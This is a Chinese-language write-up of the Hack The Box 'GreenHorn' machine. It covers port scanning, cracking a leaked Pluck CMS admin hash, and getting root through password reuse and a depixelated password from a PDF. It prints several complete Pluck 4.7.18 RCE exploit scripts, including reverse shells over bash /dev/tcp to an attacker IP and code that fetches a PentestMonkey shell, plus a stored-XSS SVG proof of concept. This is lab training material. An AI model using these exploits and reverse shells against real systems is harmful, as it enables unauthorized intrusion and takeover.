目录
这里使用curl访问login_url、upload_url都是响应404
USER_FLAG：fb721ba08d0f33ea2db2435988373890
ROOT_FLAG：c279c1f9e7a93817a0d31cfa95205a62
连接至HTB服务器并启动靶机
靶机IP：10.10.11.25
分配IP：10.10.14.12
使用nmap对靶机TCP端口进行开放扫描
nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.25
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.25
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 06:59 EST
Warning: 10.10.11.25 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.25 (10.10.11.25)
Host is up (0.066s latency).
Not shown: 65433 closed tcp ports (reset), 99 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 46.13 seconds
可见开放端口：22、80、3000
再次使用nmap对这三个端口进行脚本、服务扫描
nmap -p 22,80,3000 -sCV 10.10.11.25
尝试先通过curl访问靶机80端口
curl -I http://10.10.11.25
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.11.25
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 08 Nov 2024 11:51:57 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://greenhorn.htb/
发现被重定位到：greenhorn.htb
将靶机IP与该域名写入hosts使DNS本地解析
echo '10.10.11.25 greenhorn.htb' >> /etc/hosts
使用浏览器访问greenhorn.htb
点击下方的admin 会跳转到**/login.php**
通过该页面信息可以判断，该CMS版本为：4.7.18
使用Wappalyzer插件查看该页面技术栈
尝试在searchsploit搜索该CMS漏洞
searchsploit pluck
在searchsploit可以看到4.7.18是存在一个RCE漏洞的，直接把相关EXP拷贝到当前目录下
searchsploit -m 51592.py
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 51592.py
Exploit: Pluck v4.7.18 - Remote Code Execution (RCE)
URL: https://www.exploit-db.com/exploits/51592
Path: /usr/share/exploitdb/exploits/php/webapps/51592.py
Codes: N/A
Verified: False
File Type: Python script, Unicode text, UTF-8 text executable
Copied to: /home/kali/Desktop/temp/51592.py
查看该EXP代码
cat 51592.py
#Exploit Title: Pluck v4.7.18 - Remote Code Execution (RCE)
#Application: pluck
#Version: 4.7.18
#Bugs: RCE
#Technology: PHP
#Vendor URL: https://github.com/pluck-cms/pluck
#Software Link: https://github.com/pluck-cms/pluck
#Date of found: 10-07-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
login_url = "http://localhost/pluck/login.php"
upload_url = "http://localhost/pluck/admin.php?action=installmodule"
headers = {"Referer": login_url,}
login_payload = {"cont1": "admin","bogus": "","submit": "Log in"}
file_path = input("ZIP file path: ")
multipart_data = MultipartEncoder(
fields={
"sendfile": ("mirabbas.zip", open(file_path, "rb"), "application/zip"),
"submit": "Upload"
}
)
session = requests.Session()
login_response = session.post(login_url, headers=headers, data=login_payload)
if login_response.status_code == 200:
print("Login account")
upload_headers = {
"Referer": upload_url,
"Content-Type": multipart_data.content_type
}
upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)
if upload_response.status_code == 200:
print("ZIP file download.")
else:
print("ZIP file download error. Response code:", upload_response.status_code)
else:
print("Login problem. response code:", login_response.status_code)
rce_url="http://localhost/pluck/data/modules/mirabbas/miri.php"
rce=requests.get(rce_url)
print(rce.text)
这里使用curl访问login_url、upload_url都是响应404
curl -I http://greenhorn.htb/pluck/login.php
curl -I http://greenhorn.htb/pluck/admin.php?action=installmodule
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://greenhorn.htb/pluck/login.php
HTTP/1.1 404 Not Found
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 08 Nov 2024 12:01:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://greenhorn.htb/pluck/admin.php?action=installmodule
HTTP/1.1 404 Not Found
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 08 Nov 2024 12:01:57 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
这并不意味着这个EXP是不可用的，因为靶机的admin.php和login.php均不在pluck路径下
使用ffuf尝试寻找该域名的子域
ffuf -u http://greenhorn.htb/ -H 'Host: FUZZ.greenhorn.htb' -w ../dictionary/subdomains-top5000.txt -fc 302
眼见扫不出子域，只能尝试路径FUZZ了
ffuf -u http://greenhorn.htb/FUZZ -w ../dictionary/common.txt -fc 302
这里扫出了一个admin.php，而一开头点击admin会跳转至login.php
而searchsploit搜索该CMS相关漏洞时，除了一个RCE，还有一个存储型XSS...
使用浏览器直接访问**/admin.php**
可以看到是成功访问了的，但因为session或者cookie的原因没有通过访问
考虑是通过存储型XSS获取管理员Cookie然后登录后台面板？
再次通过searchsploit搜索该CMS漏洞
searchsploit pluck
取出该存储型XSS相关PoC
searchsploit -m 51420.txt
查看该PoC内容
cat 51420.txt
Exploit Title: pluck v4.7.18 - Stored Cross-Site Scripting (XSS)
Application: pluck
Version: 4.7.18
Bugs: XSS
Technology: PHP
Vendor URL: https://github.com/pluck-cms/pluck
Software Link: https://github.com/pluck-cms/pluck
Date of found: 01-05-2023
Author: Mirabbas Ağalarov
Tested on: Linux
2. Technical Details & POC
========================================
steps:
1. create .svg file.
2. svg file content:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
3. upload file (http://localhost/pluck-4.7.18/admin.php?action=files)
poc request
POST /pluck-4.7.18/admin.php?action=files HTTP/1.1
Host: localhost
Content-Length: 672
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJMTiFxESCx7aNqmI
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/pluck-4.7.18/admin.php?action=files
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=s34g5lr0qg5m4qh0ph5plmo8de
Connection: close
------WebKitFormBoundaryJMTiFxESCx7aNqmI
Content-Disposition: form-data; name="filefile"; filename="SVG_XSS.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
------WebKitFormBoundaryJMTiFxESCx7aNqmI
Content-Disposition: form-data; name="submit"
Upload
------WebKitFormBoundaryJMTiFxESCx7aNqmI--
4. go to http://localhost/pluck-4.7.18/files/svg_xss.svg
发现这玩意是需要进入admin.php下才能进行POST操作的...
回到一开头的RCE漏洞
我重新到Github找到了其他的EXP
#!/bin/bash
# Exploit Title: Pluck v4.7.18 - Remote Code Execution (RCE)
# Application: pluck
# Version: 4.7.18
# Bugs: RCE
# Technology: PHP
# Vendor URL: https://github.com/pluck-cms/pluck
# Date of found: 10-07-2023
# Author: Mirabbas Ağalarov
# Tested on: Linux
# Start the timer
start_time=$(date +%s)
# Default variables for host, IP, Port, and Password
host=""
ip=""
port=""
password=""
cookie=""
# Function to display usage help
usage() {
echo "Usage: $0 -h <Host> -p <Password> -i <IP> -P <Port>"
echo " -h Set the host URL (e.g., xyz.htb)"
echo " -P Set the password for the platform"
echo " -i Set the IP address for the reverse shell"
echo " -p Set the Port number for the reverse shell"
exit 1
}
# Parse command-line arguments
while getopts "h:p:i:P:" opt; do
case "$opt" in
h) host="$OPTARG" ;;
P) password="$OPTARG" ;;
i) ip="$OPTARG" ;;
p) port="$OPTARG" ;;
*) usage ;;
esac
done
# Check if required arguments are provided
if [ -z "$host" ] || [ -z "$ip" ] || [ -z "$port" ] || [ -z "$password" ]; then
echo "Error: Host, IP, Port, and Password are required."
usage
fi
# Loop until Netcat is running on the specified port
while true; do
nc_check=$(netstat -an | grep ":$port" | grep "LISTEN")
if [ -z "$nc_check" ]; then
echo "Start a listener using 'nc -nvlp $port' before uploading the exploit."
sleep 5 # Wait for 5 seconds before checking again
else
echo "Netcat listener detected on port $port."
break
fi
done
# Set URLs for login, upload, and RCE paths
login_url="http://$host/login.php"
upload_url="http://$host/admin.php?action=installmodule"
rce_url="http://$host/data/modules/loverce/love.php"
# Function to extract and store the session cookie
extract_cookie() {
cookie=$(echo "$1" | grep -oP '(?<=Set-Cookie: )PHPSESSID=[^;]+')
echo "Extracted Cookie: $cookie"
}
# Download the reverse shell PHP exploit
echo "Downloading reverse shell PHP exploit..."
exploit_url="https://www.revshells.com/PHP%20PentestMonkey?ip=$ip&port=$port&shell=bash&encoding=bash"
curl -sL "$exploit_url" -o reverse_shell.php
# Check if the download was successful
if [ ! -f reverse_shell.php ]; then
echo "Error downloading reverse shell exploit."
exit 1
fi
# Rename reverse_shell.php to love.php (to match the RCE path)
mv reverse_shell.php love.php
# Zip the reverse shell and clean up the PHP file
zip_filename="loverce.zip"
zip -r "$zip_filename" love.php
rm love.php
echo "Exploit zipped as $zip_filename and original PHP file removed."
# Set login payload with only password
login_payload="cont1=$password&bogus=&submit=Log+in"
# Attempt login, follow redirects with -L, and extract the cookie
login_response=$(curl -s -i -L -X POST -d "$login_payload" "$login_url" -H "Content-Type: application/x-www-form-urlencoded" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" -H "Referer: http://$host/login.php" -H "Origin: http://$host" -H "Connection: keep-alive")
# Extract session cookie
extract_cookie "$login_response"
# Check if login was successful
if echo "$login_response" | grep -q "Password correct. Logging you in..."; then
echo "Login successful!"
# Upload the ZIP file using the extracted cookie
upload_response=$(curl -s -i -X POST -F "sendfile=@$zip_filename;type=application/zip" -F "submit=Upload" "$upload_url" -H "Cookie: $cookie")
# Check if upload was successful
if echo "$upload_response" | grep -q "HTTP/1.1 200 OK"; then
echo "ZIP file uploaded successfully."
# Inform the user that RCE is triggered
echo "RCE is waiting for you, please go take a look."
# Add a short delay before triggering the RCE
sleep 5
# Execute the RCE request using the extracted cookie (suppress 504 error)
rce_response=$(curl -s -H "Cookie: $cookie" "$rce_url" || true)
# Clean output (don't show 504 Gateway Time-out)
if [[ ! "$rce_response" =~ "504 Gateway Time-out" ]]; then
echo "$rce_response"
fi
# Calculate the time taken to complete the script
end_time=$(date +%s)
duration=$((end_time - start_time))
echo "Script terminated. Total time taken: $duration seconds."
exit 0
else
echo "Error uploading ZIP file. Check response."
exit 1
fi
else
echo "Login failed."
# Print login response for debugging
echo "$login_response"
exit 1
fi
这个EXP看起来就好多了，应该是针对HTB这个靶机写的(这算作弊么)
对该EXP进行代码审计可知，这需要我们拿到该CMS的管理员密码才可进行利用
当我用弱口令TOP20000跑了半天，我就知道这里必然不是弱口令T_T
打开浏览器一看，天都塌了，居然被封了五分钟
(此时我突然想起了一开头我们nmap扫描时一共扫出了三个端口)
尝试使用浏览器访问靶机3000端口页面
右上角居然还有一个注册按钮，那我们就来注册一个test账户，密码八个八
账户：test
密码：88888888
回到登录界面，发现不对啊，只能用admin用户登录T_T
回到靶机3000端口页面，在探索栏目下可以看到网页源码
点击login.php，看看会不会有敏感信息的泄露
发现源码中出现了一个pass.php？尝试去看看它的内容
这哈希密码就直接写在这文件里了，服了
d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163
判断该哈希值类型
SHA512在hashcat中的参数为：1700
尝试通过弱口令字典爆破，将哈希值写入文件中
echo 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163' > hash
对该哈希值进行爆破
hashcat -m 1700 hash -a 0 ../dictionary/rockyou.txt --quiet
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# hashcat -m 1700 hash -a 0 ../dictionary/rockyou.txt --quiet
d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163:iloveyou1
账户：admin密码：iloveyou1
回到登录界面，这次成功登录了
但似乎两个EXP都没有用上，而且配置好正确密码后没一个能利用成功的
这次找到了一个直接可用的EXP
#!/usr/bin/python3
import os
import zipfile
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import argparse
def create_payload(ip_attack, port_attack):
print('[+] Creating payload')
return f"<?php echo system(\"bash -c 'exec bash -i &>/dev/tcp/{ip_attack}/{port_attack} <&1'\")?>"
def create_file(ip, port, file_name_php):
payload_content = create_payload(ip, port)
print(f"[+] {'Creating' if not os.path.exists(file_name_php) else 'Overwriting'} .php file")
with open(file_name_php, 'w') as payload_file:
payload_file.write(payload_content)
return file_name_php
def create_zip(file):
zip_file_name = 'malicious_file.zip'
print('[+] Creating ZIP file')
with zipfile.ZipFile(zip_file_name, 'w') as zipf:
zipf.write(file)
return zip_file_name
def upload_zip_malicious(file_name_zip, host, password,file_name_php):
login_url = f"{host}/login.php"
upload_url = f"{host}/admin.php?action=installmodule"
headers = {"Referer": login_url}
login_payload = {"cont1": password, "bogus": "", "submit": "Log in"}
with requests.Session() as session:
login_response = session.post(login_url, headers=headers, data=login_payload)
if login_response.status_code == 200:
print("Login successful")
with open(file_name_zip, "rb") as f:
multipart_data = MultipartEncoder(
fields={
"sendfile": ("mirabbas.zip", f, "application/zip"),
"submit": "Upload"
}
)
upload_headers = {
"Referer": upload_url,
"Content-Type": multipart_data.content_type
}
upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)
if upload_response.status_code == 200:
print("[+] ZIP file uploaded successfully")
else:
print("[+] Error uploading ZIP file. Response code:", upload_response.status_code)
else:
print("[+] Login failed. Response code:", login_response.status_code)
rce_url = f"{host}/data/modules/mirabbas/{file_name_php}"
rce_response = session.get(rce_url)
#print(rce_response.text)
def main():
parser = argparse.ArgumentParser(description='Script to create and upload a malicious ZIP file.')
parser.add_argument('--password', required=True, help='Password login')
parser.add_argument('--filename', default='malicious.php', help='Name of the PHP file to be created')
parser.add_argument('--ip', required=True, help='Attack IP ')
parser.add_argument('--port', required=True, help='Attack Port')
parser.add_argument('--host', required=True, help='Target host URL')
args = parser.parse_args()
file = create_file(args.ip, args.port, args.filename)
zip_file = create_zip(file)
upload_zip_malicious(zip_file, args.host, args.password,args.filename)
if __name__ == '__main__':
main()
直接通过该EXP进行漏洞利用
python exploit_pluckv4.7.18_RCE.py --password iloveyou1 --ip 10.10.14.12 --port 1425 --host http://greenhorn.htb
本地侧nc收到回显
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.25] 39346
bash: cannot set terminal process group (1040): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:~/html/pluck/data/modules/mirabbas$ whoami
whoami
www-data
横向移动
查看该系统内用户
cat /etc/passwd
可以看到能登录的也就三个：git、junior、root
尝试通过密码：iloveyou1切换到这些用户
www-data@greenhorn:/home$ su root
su root
Password: iloveyou1
su: Authentication failure
www-data@greenhorn:/home$ su git
su git
Password: iloveyou1
su: Authentication failure
www-data@greenhorn:/home$ su junior
su junior
Password: iloveyou1
whoami
junior
成功切换到了junior用户
账户：junior
密码：iloveyou1
提升TTY
script -c /bin/bash -q /dev/null
查找user_flag并查看其内容
junior@greenhorn:/home$ find / -name 'user.txt' 2>/dev/null
find / -name 'user.txt' 2>/dev/null
/home/junior/user.txt
junior@greenhorn:/home$ cat /home/junior/user.txt
cat /home/junior/user.txt
fb721ba08d0f33ea2db2435988373890
USER_FLAG：fb721ba08d0f33ea2db2435988373890
权限提升
查看该用户可特权执行的命令
sudo -l
junior@greenhorn:/home$ sudo -l
sudo -l
[sudo] password for junior: iloveyou1
Sorry, user junior may not run sudo on greenhorn.
查看该用户所属组别
groups
junior@greenhorn:/home$ groups
groups
junior
看来只能再看看有没有配置文件或者其他敏感文件泄露密码了
junior@greenhorn:~$ pwd
pwd
/home/junior
junior@greenhorn:~$ ls
ls
user.txt 'Using OpenVAS.pdf'
这里有个莫名其妙的pdf文件，里面很可能有HTB留下的密码(毕竟是EASY难度的靶机)
靶机通过python3开启一个http服务
python3 -m http.server 6666
攻击机通过该http服务将Using OpenVAS.pdf文件进行下载
wget http://10.10.11.25:6666/'Using OpenVAS.pdf' -O 'Using OpenVAS.pdf'
把这PDF文件拖到桌面打开后还真有密码，只不过是被打码的而且还是图片
国产化后：
你好，朱尼尔，
我们最近在服务器上安装了 OpenVAS（开放式漏洞评估系统），以便积极监测和识别潜在的安全漏洞。目前，只有以我为代表的根用户有权使用以下命令执行 OpenVAS：
"sudo /usr/sbin/openvas"
输入密码：
作为你熟悉这个工具的一部分，我们鼓励你学习如何有效地使用 OpenVAS。将来，当出现提示时，你也可以通过输入相同的命令并提供你的密码来运行 OpenVAS。
如果你有任何问题或需要进一步的帮助，请随时联系我们。
祝你度过愉快的一周，
格林先生
根据该文件中的内容可知，我们运行sudo /usr/sbin/openvas命令不需要ROOT密码
sudo /usr/sbin/openvas
junior@greenhorn:~$ sudo /usr/sbin/openvas
sudo /usr/sbin/openvas
[sudo] password for junior: iloveyou1
junior is not in the sudoers file. This incident will be reported.
Emmmmmmm，看来并不是通过该文件进行权限提升的
尝试复原马赛克原文
将马赛克图片从PDF文件中提取出来
pdfimages 'Using OpenVAS.pdf' ./test
使用depix脚本进行复原
python .\depix.py -p .\test-000.ppm -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o out.png
依稀能分辨：sidefromsidetheothersidesidefromsidetheotherside
使用该密码对靶机ROOT用户进行SSH服务登录
查找root_flag位置并查看其内容
root@greenhorn:~# find / -name 'root.txt'
/root/root.txt
root@greenhorn:~# cat /root/root.txt
c279c1f9e7a93817a0d31cfa95205a62